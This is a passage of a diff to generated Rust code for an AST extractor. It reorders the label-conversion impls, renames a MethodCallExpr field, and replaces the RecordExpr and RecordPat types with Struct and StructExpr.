-impl From<trap::Label<MacroCall>> for trap::Label<Locatable> {
+impl From<trap::Label<MacroCall>> for trap::Label<Stmt> {
     fn from(value: trap::Label<MacroCall>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroCall is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme MacroCall is a subclass of Stmt
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MacroCall>> for trap::Label<Stmt> {
+impl From<trap::Label<MacroCall>> for trap::Label<Addressable> {
     fn from(value: trap::Label<MacroCall>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroCall is a subclass of Stmt
+        // SAFETY: this is safe because in the dbscheme MacroCall is a subclass of Addressable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -9746,54 +9882,54 @@ impl trap::TrapClass for MacroDef {
     fn class_name() -> &'static str { "MacroDef" }
 }
 
-impl From<trap::Label<MacroDef>> for trap::Label<Addressable> {
+impl From<trap::Label<MacroDef>> for trap::Label<Item> {
     fn from(value: trap::Label<MacroDef>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroDef is a subclass of Addressable
+        // SAFETY: this is safe because in the dbscheme MacroDef is a subclass of Item
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MacroDef>> for trap::Label<AstNode> {
+impl From<trap::Label<MacroDef>> for trap::Label<Stmt> {
     fn from(value: trap::Label<MacroDef>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroDef is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme MacroDef is a subclass of Stmt
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MacroDef>> for trap::Label<Element> {
+impl From<trap::Label<MacroDef>> for trap::Label<AstNode> {
     fn from(value: trap::Label<MacroDef>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroDef is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme MacroDef is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MacroDef>> for trap::Label<Item> {
+impl From<trap::Label<MacroDef>> for trap::Label<Locatable> {
     fn from(value: trap::Label<MacroDef>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroDef is a subclass of Item
+        // SAFETY: this is safe because in the dbscheme MacroDef is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MacroDef>> for trap::Label<Locatable> {
+impl From<trap::Label<MacroDef>> for trap::Label<Element> {
     fn from(value: trap::Label<MacroDef>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroDef is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme MacroDef is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MacroDef>> for trap::Label<Stmt> {
+impl From<trap::Label<MacroDef>> for trap::Label<Addressable> {
     fn from(value: trap::Label<MacroDef>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroDef is a subclass of Stmt
+        // SAFETY: this is safe because in the dbscheme MacroDef is a subclass of Addressable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -9835,54 +9971,54 @@ impl trap::TrapClass for MacroRules {
     fn class_name() -> &'static str { "MacroRules" }
 }
 
-impl From<trap::Label<MacroRules>> for trap::Label<Addressable> {
+impl From<trap::Label<MacroRules>> for trap::Label<Item> {
     fn from(value: trap::Label<MacroRules>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroRules is a subclass of Addressable
+        // SAFETY: this is safe because in the dbscheme MacroRules is a subclass of Item
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MacroRules>> for trap::Label<AstNode> {
+impl From<trap::Label<MacroRules>> for trap::Label<Stmt> {
     fn from(value: trap::Label<MacroRules>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroRules is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme MacroRules is a subclass of Stmt
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MacroRules>> for trap::Label<Element> {
+impl From<trap::Label<MacroRules>> for trap::Label<AstNode> {
     fn from(value: trap::Label<MacroRules>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroRules is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme MacroRules is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MacroRules>> for trap::Label<Item> {
+impl From<trap::Label<MacroRules>> for trap::Label<Locatable> {
     fn from(value: trap::Label<MacroRules>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroRules is a subclass of Item
+        // SAFETY: this is safe because in the dbscheme MacroRules is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MacroRules>> for trap::Label<Locatable> {
+impl From<trap::Label<MacroRules>> for trap::Label<Element> {
     fn from(value: trap::Label<MacroRules>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroRules is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme MacroRules is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MacroRules>> for trap::Label<Stmt> {
+impl From<trap::Label<MacroRules>> for trap::Label<Addressable> {
     fn from(value: trap::Label<MacroRules>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MacroRules is a subclass of Stmt
+        // SAFETY: this is safe because in the dbscheme MacroRules is a subclass of Addressable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -9895,7 +10031,7 @@ pub struct MethodCallExpr {
     pub arg_list: Option<trap::Label<ArgList>>,
     pub attrs: Vec<trap::Label<Attr>>,
     pub generic_arg_list: Option<trap::Label<GenericArgList>>,
-    pub name_ref: Option<trap::Label<NameRef>>,
+    pub identifier: Option<trap::Label<NameRef>>,
     pub receiver: Option<trap::Label<Expr>>,
 }
 
@@ -9915,8 +10051,8 @@ impl trap::TrapEntry for MethodCallExpr {
         if let Some(v) = self.generic_arg_list {
             out.add_tuple("method_call_expr_generic_arg_lists", vec![id.into(), v.into()]);
         }
-        if let Some(v) = self.name_ref {
-            out.add_tuple("method_call_expr_name_refs", vec![id.into(), v.into()]);
+        if let Some(v) = self.identifier {
+            out.add_tuple("method_call_expr_identifiers", vec![id.into(), v.into()]);
         }
         if let Some(v) = self.receiver {
             out.add_tuple("method_call_expr_receivers", vec![id.into(), v.into()]);
@@ -9928,45 +10064,45 @@ impl trap::TrapClass for MethodCallExpr {
     fn class_name() -> &'static str { "MethodCallExpr" }
 }
 
-impl From<trap::Label<MethodCallExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<MethodCallExpr>> for trap::Label<CallExprBase> {
     fn from(value: trap::Label<MethodCallExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MethodCallExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme MethodCallExpr is a subclass of CallExprBase
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MethodCallExpr>> for trap::Label<CallExprBase> {
+impl From<trap::Label<MethodCallExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<MethodCallExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MethodCallExpr is a subclass of CallExprBase
+        // SAFETY: this is safe because in the dbscheme MethodCallExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MethodCallExpr>> for trap::Label<Element> {
+impl From<trap::Label<MethodCallExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<MethodCallExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MethodCallExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme MethodCallExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MethodCallExpr>> for trap::Label<Expr> {
+impl From<trap::Label<MethodCallExpr>> for trap::Label<Locatable> {
     fn from(value: trap::Label<MethodCallExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MethodCallExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme MethodCallExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<MethodCallExpr>> for trap::Label<Locatable> {
+impl From<trap::Label<MethodCallExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<MethodCallExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme MethodCallExpr is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme MethodCallExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -10017,54 +10153,54 @@ impl trap::TrapClass for Module {
     fn class_name() -> &'static str { "Module" }
 }
 
-impl From<trap::Label<Module>> for trap::Label<Addressable> {
+impl From<trap::Label<Module>> for trap::Label<Item> {
     fn from(value: trap::Label<Module>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Module is a subclass of Addressable
+        // SAFETY: this is safe because in the dbscheme Module is a subclass of Item
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Module>> for trap::Label<AstNode> {
+impl From<trap::Label<Module>> for trap::Label<Stmt> {
     fn from(value: trap::Label<Module>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Module is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme Module is a subclass of Stmt
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Module>> for trap::Label<Element> {
+impl From<trap::Label<Module>> for trap::Label<AstNode> {
     fn from(value: trap::Label<Module>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Module is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme Module is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Module>> for trap::Label<Item> {
+impl From<trap::Label<Module>> for trap::Label<Locatable> {
     fn from(value: trap::Label<Module>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Module is a subclass of Item
+        // SAFETY: this is safe because in the dbscheme Module is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Module>> for trap::Label<Locatable> {
+impl From<trap::Label<Module>> for trap::Label<Element> {
     fn from(value: trap::Label<Module>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Module is a subclass of Locatable
+        // SAFETY: this is safe because in the dbscheme Module is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Module>> for trap::Label<Stmt> {
+impl From<trap::Label<Module>> for trap::Label<Addressable> {
     fn from(value: trap::Label<Module>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Module is a subclass of Stmt
+        // SAFETY: this is safe because in the dbscheme Module is a subclass of Addressable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -10098,27 +10234,27 @@ impl trap::TrapClass for PathExpr {
     fn class_name() -> &'static str { "PathExpr" }
 }
 
-impl From<trap::Label<PathExpr>> for trap::Label<AstNode> {
+impl From<trap::Label<PathExpr>> for trap::Label<PathExprBase> {
     fn from(value: trap::Label<PathExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PathExpr is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme PathExpr is a subclass of PathExprBase
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<PathExpr>> for trap::Label<Element> {
+impl From<trap::Label<PathExpr>> for trap::Label<Expr> {
     fn from(value: trap::Label<PathExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PathExpr is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme PathExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<PathExpr>> for trap::Label<Expr> {
+impl From<trap::Label<PathExpr>> for trap::Label<AstNode> {
     fn from(value: trap::Label<PathExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PathExpr is a subclass of Expr
+        // SAFETY: this is safe because in the dbscheme PathExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -10134,18 +10270,18 @@ impl From<trap::Label<PathExpr>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<PathExpr>> for trap::Label<PathAstNode> {
+impl From<trap::Label<PathExpr>> for trap::Label<Element> {
     fn from(value: trap::Label<PathExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PathExpr is a subclass of PathAstNode
+        // SAFETY: this is safe because in the dbscheme PathExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<PathExpr>> for trap::Label<PathExprBase> {
+impl From<trap::Label<PathExpr>> for trap::Label<PathAstNode> {
     fn from(value: trap::Label<PathExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PathExpr is a subclass of PathExprBase
+        // SAFETY: this is safe because in the dbscheme PathExpr is a subclass of PathAstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -10184,18 +10320,18 @@ impl trap::TrapClass for PathPat {
     fn class_name() -> &'static str { "PathPat" }
 }
 
-impl From<trap::Label<PathPat>> for trap::Label<AstNode> {
+impl From<trap::Label<PathPat>> for trap::Label<Pat> {
     fn from(value: trap::Label<PathPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PathPat is a subclass of AstNode
+        // SAFETY: this is safe because in the dbscheme PathPat is a subclass of Pat
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<PathPat>> for trap::Label<Element> {
+impl From<trap::Label<PathPat>> for trap::Label<AstNode> {
     fn from(value: trap::Label<PathPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PathPat is a subclass of Element
+        // SAFETY: this is safe because in the dbscheme PathPat is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -10211,9 +10347,9 @@ impl From<trap::Label<PathPat>> for trap::Label<Locatable> {
     }
 }
 
-impl From<trap::Label<PathPat>> for trap::Label<Pat> {
+impl From<trap::Label<PathPat>> for trap::Label<Element> {
     fn from(value: trap::Label<PathPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme PathPat is a subclass of Pat
+        // SAFETY: this is safe because in the dbscheme PathPat is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -10239,80 +10375,113 @@ impl From<trap::Label<PathPat>> for trap::Label<Resolvable> {
 }
 
 #[derive(Debug)]
-pub struct RecordExpr {
-    pub id: trap::TrapId<RecordExpr>,
-    pub path: Option<trap::Label<Path>>,
-    pub record_expr_field_list: Option<trap::Label<RecordExprFieldList>>,
+pub struct Static {
+    pub id: trap::TrapId<Static>,
+    pub attrs: Vec<trap::Label<Attr>>,
+    pub body: Option<trap::Label<Expr>>,
+    pub is_mut: bool,
+    pub is_static: bool,
+    pub is_unsafe: bool,
+    pub name: Option<trap::Label<Name>>,
+    pub type_repr: Option<trap::Label<TypeRepr>>,
+    pub visibility: Option<trap::Label<Visibility>>,
 }
 
-impl trap::TrapEntry for RecordExpr {
+impl trap::TrapEntry for Static {
     fn extract_id(&mut self) -> trap::TrapId<Self> {
         std::mem::replace(&mut self.id, trap::TrapId::Star)
     }
 
     fn emit(self, id: trap::Label<Self>, out: &mut trap::Writer) {
-        out.add_tuple("record_exprs", vec![id.into()]);
-        if let Some(v) = self.path {
-            out.add_tuple("path_ast_node_paths", vec![id.into(), v.into()]);
+        out.add_tuple("statics", vec![id.into()]);
+        for (i, v) in self.attrs.into_iter().enumerate() {
+            out.add_tuple("static_attrs", vec![id.into(), i.into(), v.into()]);
+        }
+        if let Some(v) = self.body {
+            out.add_tuple("static_bodies", vec![id.into(), v.into()]);
+        }
+        if self.is_mut {
+            out.add_tuple("static_is_mut", vec![id.into()]);
+        }
+        if self.is_static {
+            out.add_tuple("static_is_static", vec![id.into()]);
+        }
+        if self.is_unsafe {
+            out.add_tuple("static_is_unsafe", vec![id.into()]);
+        }
+        if let Some(v) = self.name {
+            out.add_tuple("static_names", vec![id.into(), v.into()]);
+        }
+        if let Some(v) = self.type_repr {
+            out.add_tuple("static_type_reprs", vec![id.into(), v.into()]);
         }
-        if let Some(v) = self.record_expr_field_list {
-            out.add_tuple("record_expr_record_expr_field_lists", vec![id.into(), v.into()]);
+        if let Some(v) = self.visibility {
+            out.add_tuple("static_visibilities", vec![id.into(), v.into()]);
         }
     }
 }
 
-impl trap::TrapClass for RecordExpr {
-    fn class_name() -> &'static str { "RecordExpr" }
+impl trap::TrapClass for Static {
+    fn class_name() -> &'static str { "Static" }
+}
+
+impl From<trap::Label<Static>> for trap::Label<ExternItem> {
+    fn from(value: trap::Label<Static>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Static is a subclass of ExternItem
+        unsafe {
+            Self::from_untyped(value.as_untyped())
+        }
+    }
 }
 
-impl From<trap::Label<RecordExpr>> for trap::Label<AstNode> {
-    fn from(value: trap::Label<RecordExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordExpr is a subclass of AstNode
+impl From<trap::Label<Static>> for trap::Label<AstNode> {
+    fn from(value: trap::Label<Static>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Static is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RecordExpr>> for trap::Label<Element> {
-    fn from(value: trap::Label<RecordExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordExpr is a subclass of Element
+impl From<trap::Label<Static>> for trap::Label<Locatable> {
+    fn from(value: trap::Label<Static>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Static is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RecordExpr>> for trap::Label<Expr> {
-    fn from(value: trap::Label<RecordExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordExpr is a subclass of Expr
+impl From<trap::Label<Static>> for trap::Label<Element> {
+    fn from(value: trap::Label<Static>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Static is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RecordExpr>> for trap::Label<Locatable> {
-    fn from(value: trap::Label<RecordExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordExpr is a subclass of Locatable
+impl From<trap::Label<Static>> for trap::Label<Item> {
+    fn from(value: trap::Label<Static>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Static is a subclass of Item
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RecordExpr>> for trap::Label<PathAstNode> {
-    fn from(value: trap::Label<RecordExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordExpr is a subclass of PathAstNode
+impl From<trap::Label<Static>> for trap::Label<Stmt> {
+    fn from(value: trap::Label<Static>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Static is a subclass of Stmt
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RecordExpr>> for trap::Label<Resolvable> {
-    fn from(value: trap::Label<RecordExpr>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordExpr is a subclass of Resolvable
+impl From<trap::Label<Static>> for trap::Label<Addressable> {
+    fn from(value: trap::Label<Static>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Static is a subclass of Addressable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -10320,80 +10489,105 @@ impl From<trap::Label<RecordExpr>> for trap::Label<Resolvable> {
 }
 
 #[derive(Debug)]
-pub struct RecordPat {
-    pub id: trap::TrapId<RecordPat>,
-    pub path: Option<trap::Label<Path>>,
-    pub record_pat_field_list: Option<trap::Label<RecordPatFieldList>>,
+pub struct Struct {
+    pub id: trap::TrapId<Struct>,
+    pub attrs: Vec<trap::Label<Attr>>,
+    pub field_list: Option<trap::Label<FieldList>>,
+    pub generic_param_list: Option<trap::Label<GenericParamList>>,
+    pub name: Option<trap::Label<Name>>,
+    pub visibility: Option<trap::Label<Visibility>>,
+    pub where_clause: Option<trap::Label<WhereClause>>,
 }
 
-impl trap::TrapEntry for RecordPat {
+impl trap::TrapEntry for Struct {
     fn extract_id(&mut self) -> trap::TrapId<Self> {
         std::mem::replace(&mut self.id, trap::TrapId::Star)
     }
 
     fn emit(self, id: trap::Label<Self>, out: &mut trap::Writer) {
-        out.add_tuple("record_pats", vec![id.into()]);
-        if let Some(v) = self.path {
-            out.add_tuple("path_ast_node_paths", vec![id.into(), v.into()]);
+        out.add_tuple("structs", vec![id.into()]);
+        for (i, v) in self.attrs.into_iter().enumerate() {
+            out.add_tuple("struct_attrs", vec![id.into(), i.into(), v.into()]);
+        }
+        if let Some(v) = self.field_list {
+            out.add_tuple("struct_field_lists_", vec![id.into(), v.into()]);
+        }
+        if let Some(v) = self.generic_param_list {
+            out.add_tuple("struct_generic_param_lists", vec![id.into(), v.into()]);
         }
-        if let Some(v) = self.record_pat_field_list {
-            out.add_tuple("record_pat_record_pat_field_lists", vec![id.into(), v.into()]);
+        if let Some(v) = self.name {
+            out.add_tuple("struct_names", vec![id.into(), v.into()]);
+        }
+        if let Some(v) = self.visibility {
+            out.add_tuple("struct_visibilities", vec![id.into(), v.into()]);
+        }
+        if let Some(v) = self.where_clause {
+            out.add_tuple("struct_where_clauses", vec![id.into(), v.into()]);
         }
     }
 }
 
-impl trap::TrapClass for RecordPat {
-    fn class_name() -> &'static str { "RecordPat" }
+impl trap::TrapClass for Struct {
+    fn class_name() -> &'static str { "Struct" }
+}
+
+impl From<trap::Label<Struct>> for trap::Label<Item> {
+    fn from(value: trap::Label<Struct>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Struct is a subclass of Item
+        unsafe {
+            Self::from_untyped(value.as_untyped())
+        }
+    }
 }
 
-impl From<trap::Label<RecordPat>> for trap::Label<AstNode> {
-    fn from(value: trap::Label<RecordPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordPat is a subclass of AstNode
+impl From<trap::Label<Struct>> for trap::Label<Stmt> {
+    fn from(value: trap::Label<Struct>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Struct is a subclass of Stmt
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RecordPat>> for trap::Label<Element> {
-    fn from(value: trap::Label<RecordPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordPat is a subclass of Element
+impl From<trap::Label<Struct>> for trap::Label<AstNode> {
+    fn from(value: trap::Label<Struct>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Struct is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RecordPat>> for trap::Label<Locatable> {
-    fn from(value: trap::Label<RecordPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordPat is a subclass of Locatable
+impl From<trap::Label<Struct>> for trap::Label<Locatable> {
+    fn from(value: trap::Label<Struct>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Struct is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RecordPat>> for trap::Label<Pat> {
-    fn from(value: trap::Label<RecordPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordPat is a subclass of Pat
+impl From<trap::Label<Struct>> for trap::Label<Element> {
+    fn from(value: trap::Label<Struct>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Struct is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RecordPat>> for trap::Label<PathAstNode> {
-    fn from(value: trap::Label<RecordPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordPat is a subclass of PathAstNode
+impl From<trap::Label<Struct>> for trap::Label<Addressable> {
+    fn from(value: trap::Label<Struct>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Struct is a subclass of Addressable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<RecordPat>> for trap::Label<Resolvable> {
-    fn from(value: trap::Label<RecordPat>) -> Self {
-        // SAFETY: this is safe because in the dbscheme RecordPat is a subclass of Resolvable
+impl From<trap::Label<Struct>> for trap::Label<VariantDef> {
+    fn from(value: trap::Label<Struct>) -> Self {
+        // SAFETY: this is safe because in the dbscheme Struct is a subclass of VariantDef
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
@@ -10401,113 +10595,80 @@ impl From<trap::Label<RecordPat>> for trap::Label<Resolvable> {
 }
 
 #[derive(Debug)]
-pub struct Static {
-    pub id: trap::TrapId<Static>,
-    pub attrs: Vec<trap::Label<Attr>>,
-    pub body: Option<trap::Label<Expr>>,
-    pub is_mut: bool,
-    pub is_static: bool,
-    pub is_unsafe: bool,
-    pub name: Option<trap::Label<Name>>,
-    pub type_repr: Option<trap::Label<TypeRepr>>,
-    pub visibility: Option<trap::Label<Visibility>>,
+pub struct StructExpr {
+    pub id: trap::TrapId<StructExpr>,
+    pub path: Option<trap::Label<Path>>,
+    pub struct_expr_field_list: Option<trap::Label<StructExprFieldList>>,
 }
 
-impl trap::TrapEntry for Static {
+impl trap::TrapEntry for StructExpr {
     fn extract_id(&mut self) -> trap::TrapId<Self> {
         std::mem::replace(&mut self.id, trap::TrapId::Star)
     }
 
     fn emit(self, id: trap::Label<Self>, out: &mut trap::Writer) {
-        out.add_tuple("statics", vec![id.into()]);
-        for (i, v) in self.attrs.into_iter().enumerate() {
-            out.add_tuple("static_attrs", vec![id.into(), i.into(), v.into()]);
-        }
-        if let Some(v) = self.body {
-            out.add_tuple("static_bodies", vec![id.into(), v.into()]);
-        }
-        if self.is_mut {
-            out.add_tuple("static_is_mut", vec![id.into()]);
-        }
-        if self.is_static {
-            out.add_tuple("static_is_static", vec![id.into()]);
-        }
-        if self.is_unsafe {
-            out.add_tuple("static_is_unsafe", vec![id.into()]);
-        }
-        if let Some(v) = self.name {
-            out.add_tuple("static_names", vec![id.into(), v.into()]);
-        }
-        if let Some(v) = self.type_repr {
-            out.add_tuple("static_type_reprs", vec![id.into(), v.into()]);
+        out.add_tuple("struct_exprs", vec![id.into()]);
+        if let Some(v) = self.path {
+            out.add_tuple("path_ast_node_paths", vec![id.into(), v.into()]);
         }
-        if let Some(v) = self.visibility {
-            out.add_tuple("static_visibilities", vec![id.into(), v.into()]);
+        if let Some(v) = self.struct_expr_field_list {
+            out.add_tuple("struct_expr_struct_expr_field_lists", vec![id.into(), v.into()]);
         }
     }
 }
 
-impl trap::TrapClass for Static {
-    fn class_name() -> &'static str { "Static" }
-}
-
-impl From<trap::Label<Static>> for trap::Label<Addressable> {
-    fn from(value: trap::Label<Static>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Static is a subclass of Addressable
-        unsafe {
-            Self::from_untyped(value.as_untyped())
-        }
-    }
+impl trap::TrapClass for StructExpr {
+    fn class_name() -> &'static str { "StructExpr" }
 }
 
-impl From<trap::Label<Static>> for trap::Label<AstNode> {
-    fn from(value: trap::Label<Static>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Static is a subclass of AstNode
+impl From<trap::Label<StructExpr>> for trap::Label<Expr> {
+    fn from(value: trap::Label<StructExpr>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructExpr is a subclass of Expr
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Static>> for trap::Label<Element> {
-    fn from(value: trap::Label<Static>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Static is a subclass of Element
+impl From<trap::Label<StructExpr>> for trap::Label<AstNode> {
+    fn from(value: trap::Label<StructExpr>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructExpr is a subclass of AstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Static>> for trap::Label<ExternItem> {
-    fn from(value: trap::Label<Static>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Static is a subclass of ExternItem
+impl From<trap::Label<StructExpr>> for trap::Label<Locatable> {
+    fn from(value: trap::Label<StructExpr>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructExpr is a subclass of Locatable
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Static>> for trap::Label<Item> {
-    fn from(value: trap::Label<Static>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Static is a subclass of Item
+impl From<trap::Label<StructExpr>> for trap::Label<Element> {
+    fn from(value: trap::Label<StructExpr>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructExpr is a subclass of Element
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Static>> for trap::Label<Locatable> {
-    fn from(value: trap::Label<Static>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Static is a subclass of Locatable
+impl From<trap::Label<StructExpr>> for trap::Label<PathAstNode> {
+    fn from(value: trap::Label<StructExpr>) -> Self {
+        // SAFETY: this is safe because in the dbscheme StructExpr is a subclass of PathAstNode
         unsafe {
             Self::from_untyped(value.as_untyped())
         }
     }
 }
 
-impl From<trap::Label<Static>> for trap::Label<Stmt> {
-    fn from(value: trap::Label<Static>) -> Self {
-        // SAFETY: this is safe because in the dbscheme Static is a subclass of Stmt
